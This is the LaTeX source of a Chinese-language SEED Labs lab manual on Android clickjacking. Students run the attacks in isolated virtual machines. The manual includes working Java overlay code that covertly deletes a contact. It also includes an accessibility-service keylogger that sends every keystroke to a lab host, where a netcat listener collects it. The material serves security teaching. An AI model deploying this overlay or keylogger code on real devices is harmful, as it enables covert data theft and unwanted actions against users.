```
% *******************************************
%%  版权声明由Du Wenliang持有。                                      %%
%%  本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议。 %%
%%  您可以通过以下链接查看该许可协议的内容：                          %%
%%  http://creativecommons.org/licenses/by-nc-sa/4.0/。               %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\input{../../common-files/header}
\input{../../common-files/copyright}

\newcommand{\clickFigs}{./Figs}

\begin{document}


\begin{center}
    {\LARGE Clickjacking 攻击实验}
\end{center}

\seedlabcopyright{2018}


% *******************************************
% SECTION
% ******************************************* 
\section{概述}

Clickjacking攻击是一种常见的针对大多数设备的攻击方式。在这样的攻击中，攻击者使用多个透明或不透明层来欺骗用户点击另一个页面上的按钮或链接，而用户原本打算点击的是顶层页面的内容。用户很容易被欺骗，并且甚至可能不知道自己真正点击了哪里。为了使这种攻击成功，攻击者通常需要用户的交互，因此他们经常将Clickjacking攻击应用设计为游戏或调查表单的形式。

本实验的学习目标是让学生亲身体验Clickjacking攻击，从而更好地理解与Android系统相关的特定风险，并在从不可信第三方市场下载应用程序时更加谨慎。在这个实验中，学生将会执行一个简单的Clickjacking攻击并在我们提供的Android虚拟机上进行演示。学生们还将看到完全武器化的Clickjacking攻击能造成多大的破坏。

学生们应该被告知不要将所开发的Clickjacking攻击应用提交到任何市场，否则可能会面临法律后果。也不应自行在自己的Android设备上运行该攻击，因为这可能会导致实际损害。

为了实施这种攻击，攻击者只需要一个权限——“允许应用程序在其上方绘制”权限。一旦获得了这个权限，在用户察觉不到的情况下，就很难发现攻击的存在了。此外，这个权限在许多设备中都很常见。例如，音乐应用、电话应用等都使用了这一权限。给应用程序赋予此权限时要非常小心。

\paragraph{注意：} 所有设备都可能受到这种攻击的威胁。对于Android版本低于7.0的设备，即使不需要用户同意也可以进行覆盖其他应用程序的操作。


% *******************************************
% SECTION
% ******************************************* 
\section{实验环境}

本实验需要两台虚拟机，一个是称为SEEDAndroid的虚拟机，另一个是称为SEEDUbuntu16.04的虚拟机。从名称可以看出，第一台虚拟机运行的是Android操作系统，并且我们需要在其中测试Clickjacking攻击。第二台虚拟机是一个Ubuntu Linux虚拟机；本实验中所需的所有工具已经在SEEDUbuntu VM上安装好了。
这两台虚拟机及其用户手册可以从SEED网站下载。


% *******************************************
% SECTION
% ******************************************* 
\section{实验任务}


% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务1：执行Clickjacking攻击}

在本任务中，我们将演示一个删除联系人的Clickjacking攻击。我们已经设计了一个执行这种攻击的应用程序，并将其安装在你的Android虚拟机上。
我们的应用程序的行为类似于游戏的校准阶段，在玩游戏之前需要用户点击各种按钮以完成最佳体验的校准。实际上，我们在后台进行的操作是删除一个联系人。为了实施此攻击，我们需要获得“允许在其上方绘制其他应用”的用户权限。

\paragraph{攻击代码}
在执行攻击之前，我们先谈谈是如何实现这种攻击的。
首先，在获取所需权限之后，需要设计视图并在页面上叠加这些视图。必须确保覆盖整个页面，并且使用户可以透过这些视图进行点击。因此，当用户点击时，实际上是在该视图背后的位置进行了点击（这是对用户不可见的）。我们使用坐标值来控制视图的宽度或长度，并需要将它们精确地定位。

\begin{enumerate}

\item 第一步：使用Intent打开最接近目标的页面，通过编程方式实现。例如，为了删除联系人，我们将首先打开联系人应用，然后设计我们的视图。
    \begin{lstlisting}
startStep1();
Intent openContacts = new Intent(Intent.ACTION_DEFAULT, ContactsContract.Contacts.CONTENT_URI);
openContacts.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
openContacts.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
openContacts.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
openContacts.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
startActivity(openContacts);
    \end{lstlisting}

    这里，函数\textbf{startStep1()} 用于在第一个页面上叠加我们的视图。之后，创建一个Intent以在后台打开联系人应用。因此，通过\textbf{startStep1()} 定义的视图位于联系人应用程序的第一个页面之上。接着，\textbf{startStep1()} 将依次调用 \textbf{startStep2()},  \textbf{startStep3}() 等函数，直到完成所需的任务。

\item 第二步：现在的主要工作是设计视图。在设计视图时，需要将按钮准确地放置在用户想要点击的位置，并使用空白填充剩余部分的页面。这确保了背景中的页面不会可见。我们利用Android WindowManager来添加我们的视图。

    每个视图都有一个名为“passthrough”的布尔值，如果这个值为false，则用户的点击将不能传递到后台；反之亦然。只有带有按钮的视图的“passthrough”设置为true，其他视图则设为false，这样用户就不会在其他地方点击。

    定义我们的视图：
    \begin{lstlisting}
public OverlayOne(final ClickJacking service) {

        mTextView = new TextView(service);
        mTextView.setText("Calibration : ");
        mTextView.setBackgroundColor(ClickJacking.mMakeAttackVisible ? 0x66FF0000 : 0xFFFFFFFF);
        mTextView.setTextColor(0xff000000);
        mTextView.setTextSize(20f);
        mTextView.setGravity(Gravity.CENTER);
    }
...
public View getView() {
        return mTextView;
    }
...
public WindowManager.LayoutParams getParams() {
        return ClickJacking.getParams(mRect, false);
    }
    \end{lstlisting}

    在这里，我们首先定义了文本视图。

    该函数调用\textbf{ClickJacking.mMakeAttackVisible}来检查用户是否选择了此选项。如果选中，则更改颜色方案并使叠加层及其背景对用户可见。这用于向用户提供实际的叠加层显示以及调试视图所用。

    同时，调用\textbf{ ClickJacking.getParams} 函数返回这个视图的位置和“passthrough”值。每个视图都有预设坐标，这些坐标是通过“mRect”设置的。

    参考 \textbf{Figure 1} 和 \textbf{Figure 2} 来查看带有 “Attack visible” 按钮打开和关闭时的视图。

    \begin{figure}[htb]
      \centering
      \includegraphics[width=0.8\textwidth]{\clickFigs/Figure2.png}
      \caption{“Attack visible” 开启}
    \end{figure}
    \begin{figure}[htb]
      \centering
      \includegraphics[width=0.8\textwidth]{\clickFigs/Figure3.png}
      \caption{“Attack visible” 关闭}
    \end{figure}

\item 第三步：这是添加视图的步骤。这是我们函数 \textbf{startStep1()} 的样子：

    \begin{lstlisting}
public void startStep1() {
        if (currentStep > 0) return;
        currentStep = 1;
        addView(o1);
        addView(o2);
        addView(o3);
    }
    \end{lstlisting}

    在这里，我们添加了所有视图。每个视图检查是否已添加所有视图并然后调用 startStep2() 等等。startStep2() 会添加新的视图并移除旧的视图。以下是 startStep2() 的样子：

    \begin{lstlisting}
public void startStep2() {
        if (currentStep > 1) return;
        currentStep = 2;
        addView(o5);
        addView(o6);
        new ViewRemover(this, o1).start();
        new ViewRemover(this, o2).start();
        new ViewRemover(this, o3).start();
    }
    \end{lstlisting}

    我们定义的\textbf{addView} 和 \textbf{viewRemover} 函数使用了 Android WindowManager 来设置和移除视图。

\item 第四步：\textbf{addView()} 与 \textbf{viewRemover()}：
    - addView() :
        \begin{lstlisting}
public void addView(ViewWithParams v) {
        WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE);
        wm.addView(v.getView(), v.getParams());
    }
        \end{lstlisting}

        在这里，我们创建了一个 WindowManager 对象并调用了我们的函数 getView() 和 getParams() 来添加视图。

    - getParams() 函数检查该视图是否为“passthrough”，然后设置 layoutParams：
        \begin{lstlisting}
private static WindowManager.LayoutParams getAlertLP(Rect rect) {
        WindowManager.LayoutParams lParams = new WindowManager.LayoutParams(
                rect.right - rect.left,
                rect.bottom - rect.top,
                WindowManager.LayoutParams.TYPE_SYSTEM_ALERT,
                WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH |
                        WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
                        WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
                PixelFormat.TRANSLUCENT);
        lParams.gravity = Gravity.TOP | Gravity.LEFT;
        lParams.x = rect.left;
        lParams.y = rect.top;
        return lParams;
    }
    
    注意：“WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH” 允许我们透过视图进行点击。如果“passthrough”为 false，则移除这个属性。
        \end{lstlisting}

\textbf{viewRemover()} :
    \begin{lstlisting}
public static void removeView(Context ctx, View view) {
        WindowManager wm = (WindowManager) ctx.getSystemService(ctx.WINDOW_SERVICE);
        wm.removeView(view);
    }
    \end{lstlisting}

\end{enumerate}

\paragraph{执行攻击：} 现在我们就可以开始执行攻击了。这涉及两个步骤。参考图3以了解应用程序的外观：

1. 第一步：添加一个联系人。我们将使用 Clickjacking 攻击删除这个联系人。
2. 第二步：运行 Clickjacking 应用程序。点击“请求权限”，它会带你到权限页面。给予此权限。现在回到应用，点击“开始 Clickjacking 攻击”。按照步骤操作，在结束时你应该能看到联系人已经被删除。

    附加任务：尝试在启用“使攻击可见”选项后再次运行攻击。你应该能够看到视图如何覆盖在联系人之上，并了解攻击实际上是如何工作的（确保添加一个新的联系人）。

    \begin{figure}[htb]
      \centering
      \includegraphics[width=0.8\textwidth]{\clickFigs/Figure1.png}
      \caption{Clickjacking 攻击应用程序}
    \end{figure}

    提交截图以证明你已经完成了攻击。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务2：Android中的危险可访问性服务}

Android系统中最具危险的服务之一是可访问性服务。如果任何应用能够获取到可访问性服务的权限，它们就能完全控制设备上发生的一切。这些应用程序将能够捕获按键输入、记录每个点击或触摸等操作。

在这个任务中，我们将向你展示一个合法的应用如何使用可访问性服务以及我们是如何恶意利用它的。

\paragraph{攻击代码}
在执行攻击之前，我们先谈谈合法应用可以如何使用可访问性服务以及我们又是如何用它来实现恶意目的的。

- 捕获来自可访问性服务的事件：在获取所需权限后，我们需要创建一个扩展“AccessibilityService”的类。我们可以使用“AccessibilityEvent”对象来捕获各种不同的事件并以任何方式处理它们：

    \begin{lstlisting}
public class getAccessibilityEvent extends AccessibilityService {
...
public void onAccessibilityEvent(AccessibilityEvent event) {
	 Log.d("Event 1",event.getPackageName());
	 Log.d("Event 2",event.getText());
	 Log.d("Event 3",event.getPackageName());
	 Log.d("Event 4",event.getEventTime());
...
        }
}
    \end{lstlisting}

- 恶意使用可访问性服务：恶意使用的例子之一是将用户所输入的所有内容发送到我们的服务器。在我们应用中，我们使用StringBuilder来连接所有用户输入的内容，并反复将其发送给我们的服务器：

    \begin{lstlisting}
public class getAccessibilityEvent extends AccessibilityService {
...
private String getEventText(AccessibilityEvent event) {
            StringBuilder sb = new StringBuilder();
            for (CharSequence s : event.getText()) {
                sb.append(s);
            }
            return sb.toString();
        }
...
 public void onAccessibilityEvent(AccessibilityEvent event) {
            s = "package=" + event.getPackageName() + "&" + "text=" + getEventText(event);
            new SendData(s).execute();
        }
...
}
    \end{lstlisting}

- SendData 是一个扩展AsyncTask的类，用于将数据从设备发送出去。

    \begin{lstlisting}
class SendData extends AsyncTask<String, Void, Void> {
    String s;
    public SendData(String a)
    {
        s=a;
    }
    private Exception exception;
    protected Void doInBackground(String... urls) {
            URL url = null;
            url = new URL("http://www.SeedLabClickjacking.com:7777");
            HttpURLConnection urlConnection = null;
            urlConnection = (HttpURLConnection) url.openConnection();
            urlConnection.setDoOutput(true);
            urlConnection.setChunkedStreamingMode(0);
            OutputStream out = new BufferedOutputStream(urlConnection.getOutputStream());
            out.write(s.getBytes());
            out.flush();
            urlConnection.disconnect();
       }
        return null;
    }
    \end{lstlisting}

\paragraph{执行攻击：}
遵循以下步骤来执行此任务。我们将需要两个虚拟机。

1. 第一步：在 SEEDUbuntu 机器上打开终端并运行以下命令：
    \begin{lstlisting}
$ nc -kl 7777 
    \end{lstlisting}

2. 第二步：在 AndroidVM 机器上，需要修改 /system/etc/hosts 文件并将 "SeedLabsClickjacking.com" 的 IP 地址替换为 SEEDUbuntu VM 的 IP 地址。为此，我们将使用“adb push”和“adb pull”。在你的 SEEDUbuntu 机器上执行以下操作：

    \begin{lstlisting}
$ adb root
$ adb disconnect
$ adb connect IP-OF-ANDROIDVM
$ adb pull /system/etc/hosts
$ vim hosts
$ adb push hosts /system/etc/
    \end{lstlisting}

3. 第三步：为我们的应用程序提供可访问性权限。为此：

    \begin{lstlisting}
进入设置 -> 可访问性 -> ClickJacking Attack -> 选择 -> 好
    \end{lstlisting}

4. 第四步：在 AndroidVM 中随意操作，并观察 SEEDUbuntu netcat 会话接收你所做的所有内容。尝试在 Android VM 的浏览器中输入一些内容，你将在我们的 SEEDUbuntu 机器上看到每个按键都被记录下来。

参考图4以查看我们在 SEEDUbuntu 上看到的键盘日志响应。

通过此攻击的步骤3所做的一切都可以使用 Clickjacking 攻击来完成。如果攻击者能够获取到你的可访问性权限，你所有的信息都可能被泄露。

\begin{figure}[htb]
  \centering
  \includegraphics[width=0.8\textwidth]{\clickFigs/Figure4.png}
  \caption{SEEDUbuntu 上的键盘日志响应}
\end{figure}


% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务3：设计你的 Clickjacking 攻击}

在本任务中，我们将执行一个将飞机模式打开或关闭的 Clickjacking 攻击。我们将会提供源代码，并要求你通过修改“ClickJacking”类中的 init() 函数内的 setCoords 函数中的坐标来对齐视图。setCoords 的样子如下：

\begin{lstlisting}
...
setCoords(1, 0, 0, 1024, 100);
setCoords(2, -100, 100, 1024, 300);
setCoords(3, 0, 400, 1024, 820);
...
\end{lstlisting}

第一个属性是“viewId”，它告诉我们要修改坐标的视图的 ID。在你的活动中，有两个视图，OverlayOne() 和 OverlayTwo()。你只需要调整这些视图的坐标并完美地对齐它们。使用 “使攻击可见” 选项进行调试。这里关于 setCoords 的一些额外信息：

- 函数 setCoords(viewId, ax, ay, bx, by)：
    - ax和ay定义了视图内容的位置，例如一个按钮或文本框。
    - bx和by定义了视图本身的长度和宽度。

    举例来说，在你的任务中，你将需要与所有4个值一起对OverlayOne()进行操作，但仅需调整bx和by为OverlayTwo()（因为OverlayOne()包含了按钮）。

你需要修改代码、重新编译并使用 “adb install” 将应用程序安装到 AndroidVM 中以测试更改。您只需在 "ClickJacking.java" 文件中修改 "setCoords" 的值。按照以下步骤来修改、重新编译和安装应用程序（需要两台虚拟机完成此任务）：

1. 第一步：从我们的网站下载并解压 ClickJacking.zip 文件
2. 第二步：定位代码文件，前往 app/src/main/java/seedlabs/clickjacking2 文件夹。
3. 在这里你应该能看到 ClickJacking.java。这是你修改视图坐标值的地方。
4. 作出必要的更改后，构建应用并获取 .apk 文件。进入应用程序的根文件夹，并运行：
    \begin{lstlisting}
$ chmod +x gradlew
$ ./gradlew
$ ./gradlew assembleDebug
    \end{lstlisting}

您可以在 app/build/outputs/apk 找到构建的 .apk 文件。
5. 使用以下命令安装 APK 到 AndroidVM 中：

    \begin{lstlisting}
$ adb disconnect
$ adb connect IP-OF-ANDROIDVM
$ adb install YOUR-APK.apk
    \end{lstlisting}

6. 安装后，你应该会找到一个名为 "Clickjacking Attack 2" 的应用程序。

\textbf{注意：}

1. 首先在 AndroidVM 中安装未更改的应用程序以感受视图效果。
2. 每次重新安装前都要从 AndroidVM 中删除该应用。
3. 调整、编译和重新安装可能需要多次尝试才能完美对齐视图。

\section{提交与演示}

你需要提交一份详细的实验报告，描述你做了什么以及观察到了什么，包括截图和代码片段（如需）。你也需要提供对有趣或令人惊讶的观察结果的解释。鼓励你在超出实验室说明要求的基础上进行进一步的研究。
```